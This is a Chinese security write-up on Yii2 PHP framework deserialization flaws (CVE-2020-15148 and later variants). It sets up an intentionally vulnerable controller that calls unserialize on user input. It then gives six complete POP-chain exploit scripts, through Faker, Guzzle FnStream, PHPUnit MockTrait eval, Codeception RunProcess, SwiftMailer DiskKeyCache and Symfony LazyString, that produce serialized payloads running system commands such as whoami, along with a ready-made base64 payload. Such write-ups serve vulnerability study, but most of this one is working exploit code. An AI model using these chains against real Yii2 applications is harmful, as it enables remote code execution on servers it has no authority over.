yii2反序列化漏洞总结

yii2框架 反序列化漏洞复现

yii 框架

Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。

Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用, 如门户网站、社区、内容管理系统(CMS)、 电子商务项目和 RESTful Web 服务等。

Yii 当前有两个主要版本:1.1 和 2.0。 1.1 版是上代的老版本,现在处于维护状态。 2.0 版是一个完全重写的版本,采用了最新的技术和协议,包括依赖包管理器 Composer、PHP 代码规范 PSR、命名空间、Traits(特质)等等。 2.0 版代表新一代框架,是未来几年中我们的主要开发版本。

搭建过程

直接官网下载2.0.37,放在phpstudy,修改config/web.php文件里cookieValidationKey的值,这个值没有固定,然后打开目录http://ip/yii2/web

由于是反序列化利用链,我们需要一个入口点,在controllers目录下创建一个Controller:

路由为:http://ip/index.php?r=test/test

controllers/TestController.php

<?php

namespace app\controllers;

use yii\web\Controller;

class TestController extends Controller{
    public function actionTest($data){
        return unserialize(base64_decode($data));
    }
}

CVE-2020-15148复现

phpstorm直接利用F4一键跟进

首先看\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php

image-20220329151422036

跟踪close函数,但是后面不能利用了。

image-20220329151529948

因为$this->_dataReader参数可控,想到了__call,当对象调用不可访问的函数时,就会触发。

全局搜索一下__call方法,在\vendor\fzaninotto\faker\src\Faker\Generator.php存在合适的方法

image-20220329152500434

image-20220329152602227

跟踪format函数

public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数

call_user_func_array(callable $callback, array $param_arr): mixed 
callback
    被调用的回调函数。
param_arr
    要被传入回调函数的数组,这个数组得是索引数组。

跟进getFormatter,其中$formatter=close

public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

因为$this->formatters是可控的,因此getFormatter方法的返回值也是我们可控的,因此call_user_func_array($this->getFormatter($formatter), $arguments);中,第一个参数可控,第二个参数为空。

所以我们需要找一个无参数的方法

function \w+\(\) ?\n?\{(.*\n)+call_user_func

rest/CreateAction.php以及rest/IndexAction.php

主要是它的run方法

public function run()
{
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
    }
    
    return $model;
}

所以pop链

class BatchQueryResult  ->__destruct()
↓↓↓
class BatchQueryResult  ->reset() //调用close函数导致触发__call
↓↓↓
class Generator  ->__call()
↓↓↓
class Generator  ->format()
↓↓↓
class Generator  ->getFormatter() //call_user_func_array,找无参方法
↓↓↓
class IndexAction  ->run()

所以直接构造

poc1

use用来调用某个包的类

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';				//命令执行
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

image-20220329154128574

链子2

yii2.0.37

我们利用close函数

找到一个FnStream.phpvendor\guzzlehttp\psr7\src目录下,代码如下

image-20220329155835216

$this->_fn_close属性可控

我们构造链子

<?php
namespace GuzzleHttp\Psr7 {
    class FnStream {
        var $_fn_close = "phpinfo()";
    }
}
namespace yii\db {
    use GuzzleHttp\Psr7\FnStream;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader  = new FnStream();
        }
    }
	$b=new BatchQueryResult();
	echo base64_encode(serialize($b));

image-20220329160359965

我们将危害进行放大,这里就需要一个执行类,拿这个call_user_func函数作跳板,来进行代码执行,全局搜索eval,找到一个MockTrait.php文件在vendor\phpunit\phpunit\src\Framework\MockObject下,代码如下:

public function generate(): string
{
    if (!\class_exists($this->mockName, false)) {
        eval($this->classCode);
    }

    return $this->mockName;
}

$this->classCode$this->mockName都可控

于是即可构造完整的pop

yii\db\BatchQueryResult::__destruct()->reset()->close()
->
GuzzleHttp\Psr7\FnStream::close()->call_user_func
->
PHPUnit\Framework\MockObject\MockTrait::generate->eval()

所以构造链子

<?php
namespace PHPUnit\Framework\MockObject{
    class MockTrait {
        private $classCode = "system('whoami')";
        private $mockName = "z3eyond";
    }
}

namespace GuzzleHttp\Psr7 {

    use PHPUnit\Framework\MockObject\MockTrait;
    class FnStream {
        var $_fn_close;
        function __construct(){
            $this->_fn_close = array(
                new MockTrait(),
                'generate'
            );
        }
    }
}
namespace yii\db {
    use GuzzleHttp\Psr7\FnStream;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader  = new FnStream();
        }
    }
    $b = new BatchQueryResult();
    print_r(base64_encode(serialize($b))).PHP_EOL;

}

image-20220329170035862

报错,我们查LogicException

image-20220329170134240

只需要绕过__wakeup就行,增加属性个数就行

所以payload

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoyNDoiR3V6emxlSHR0cFxQc3I3XEZuU3RyZWFtIjoyOntzOjk6Il9mbl9jbG9zZSI7YToyOntpOjA7TzozODoiUEhQVW5pdFxGcmFtZXdvcmtcTW9ja09iamVjdFxNb2NrVHJhaXQiOjI6e3M6NDk6IgBQSFBVbml0XEZyYW1ld29ya1xNb2NrT2JqZWN0XE1vY2tUcmFpdABjbGFzc0NvZGUiO3M6MTc6InN5c3RlbSgnd2hvYW1pJyk7IjtzOjQ4OiIAUEhQVW5pdFxGcmFtZXdvcmtcTW9ja09iamVjdFxNb2NrVHJhaXQAbW9ja05hbWUiO3M6ODoiZXh0cmFkZXIiO31pOjE7czo4OiJnZW5lcmF0ZSI7fX19

image-20220329170533196

链子3

yii2.0.38

利用点在vendor/codeception/codeception/ext/RunProcess.php

image-20220329170953317

对象在销毁的时候,触发__destruct方法,__destruct方法调用了stopProcess方法,stopProcess方法中的$this->processes可控,即$process也可控,$process会调用isRunning()方法,那么这里就可以尝试利用__call方法了,可以接着上面的POP1链利用

所以pop链的流程

\Codeception\Extension\RunProcess::__destruct()->stopProcess()->$process->isRunning()
->
Faker\Generator::__call()->format()->call_user_func_array()
->
\yii\rest\IndexAction::run->call_user_func()

POP3:

<?php
// EXP3: RunProcess -> ... -> __call()
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls -al';           //command
            // run() -> call_user_func($this->checkAccess, $this->id);
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['isRunning'] = [new IndexAction, 'run'];
            //stopProcess方法里又调用了isRunning()方法: $process->isRunning()
        }
    }
}


namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }

    }
}

namespace{
    use Codeception\Extension\RunProcess;
    echo base64_encode(serialize(new RunProcess()));
}

?>

链子4

利用点在vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php

主要代码

public function __destruct()
{
    foreach ($this->keys as $nsKey => $null) {
        $this->clearAll($nsKey);
    }
}
public function clearAll($nsKey)
{
    if (array_key_exists($nsKey, $this->keys)) {
        foreach ($this->keys[$nsKey] as $itemKey => $null) {
            $this->clearKey($nsKey, $itemKey);
        }
        if (is_dir($this->path.'/'.$nsKey)) {
            rmdir($this->path.'/'.$nsKey);
        }
        unset($this->keys[$nsKey]);
    }
}
public function clearKey($nsKey, $itemKey)
{
    if ($this->hasKey($nsKey, $itemKey)) {
        $this->freeHandle($nsKey, $itemKey);
        unlink($this->path.'/'.$nsKey.'/'.$itemKey);
    }
}

unlink使用拼接字符串,$this->path可控,即可想到调用__toString方法(当一个对象被当做字符串使用时被调用)

全局查找__toString()方法

下面的几个类中的__toString方法可用

\Codeception\Util\XmlBuilder::__toString -> \DOMDocument::saveXML 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString -> render 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Deprecated::__toString -> render 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Generic::__toString -> render 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\See::__toString -> render可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Link::__toString -> render

\Codeception\Util\XmlBuilder::__toString为例,构造pop链

\Swift_KeyCache_DiskKeyCache::__destruct -> clearAll -> clearKey -> __toString
-> 
\Codeception\Util\XmlBuilder::__toString -> saveXML
-> 
Faker\Generator::__call()->format() -> call_user_func_array()
->
\yii\rest\IndexAction::run -> call_user_func()

pop4:

<?php
// EXP: Swift_KeyCache_DiskKeyCache::__destruct -> __toString -> __call
namespace {

    use Codeception\Util\XmlBuilder;
    use phpDocumentor\Reflection\DocBlock\Tags\Covers;

    class Swift_KeyCache_DiskKeyCache{
        private $path;
        private $keys;

        public function __construct()
        {
            $this->keys = array(
                "extrader" =>array("is", "am")
            );  //注意 ClearAll中的数组解析了两次,之后再unlink
            $this->path = new XmlBuilder();
        }
    }

    $payload = new Swift_KeyCache_DiskKeyCache();
    echo base64_encode(serialize($payload));
}

namespace Codeception\Util{
    use Faker\Generator;

    class XmlBuilder{
        protected $__dom__;
        public function __construct(){
            $this->__dom__ = new Generator();
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
    use Faker\Generator;

    class Covers{
        private $refers;
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
            $this->refers = "AnyStringisOK";
        }
    }

}

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';           //command
            // run() -> call_user_func($this->checkAccess, $this->id);
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['saveXML'] = [new IndexAction, 'run'];
        }
    }
}

链子5

过程

\Codeception\Extension\RunProcess::__destruct()->stopProcess()->$process->isRunning()
->
Faker\ValidGenerator::__call()->call_user_func_array()->call_user_func()
->
Faker\DefaultGenerator::__call()->$this->default
<?php

namespace Faker;
class DefaultGenerator{
    protected $default ;
    function __construct($argv)
    {
        $this->default = $argv;
    }
}

class ValidGenerator{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    function __construct($command,$argv)
    {
        $this->generator = new DefaultGenerator($argv);
        $this->validator = $command;
        $this->maxRetries = 99999999;
    }
}

namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
    private $processes = [];
    function __construct($command,$argv)
    {
        $this->processes[] = new ValidGenerator($command,$argv);
    }
}

$exp = new RunProcess('system','whoami');
echo(base64_encode(serialize($exp)));

链子6

\Codeception\Extension\RunProcess::__destruct()->stopProcess()->$process->isRunning()
->
Faker\UniqueGenerator::__call()->call_user_func_array()->serialize()
->
Symfony\Component\String::__sleep()::__toString()::($this->value)()
<?php

namespace yii\rest
{
    class IndexAction{
        function __construct()
        {
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}

namespace Symfony\Component\String
{
    use yii\rest\IndexAction;
    class LazyString
    {
        function __construct()
        {
            $this->value = [new indexAction(), "run"];
        }
    } 
    class UnicodeString
    {
        function __construct()
        {
            $this->value = new LazyString();
        }
    }
}

namespace Faker
{
    use Symfony\Component\String\LazyString;
    class DefaultGenerator
    {
        function __construct()
        {
            $this->default = new LazyString();
        }
    }

    class UniqueGenerator
    {
        function __construct()
        {
            $this->generator = new DefaultGenerator();
            $this->maxRetries = 99999999;
        }

    }
}

namespace Codeception\Extension
{
    use Faker\UniqueGenerator;
    class RunProcess
    {
        function __construct()
        {
            $this->processes[] = new UniqueGenerator();
        }
    }
}

namespace
{
    use Codeception\Extension\RunProcess;
    $exp = new RunProcess();
    echo(base64_encode(serialize($exp)));
}

参考链接

https://www.extrader.top/posts/c79847ee/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值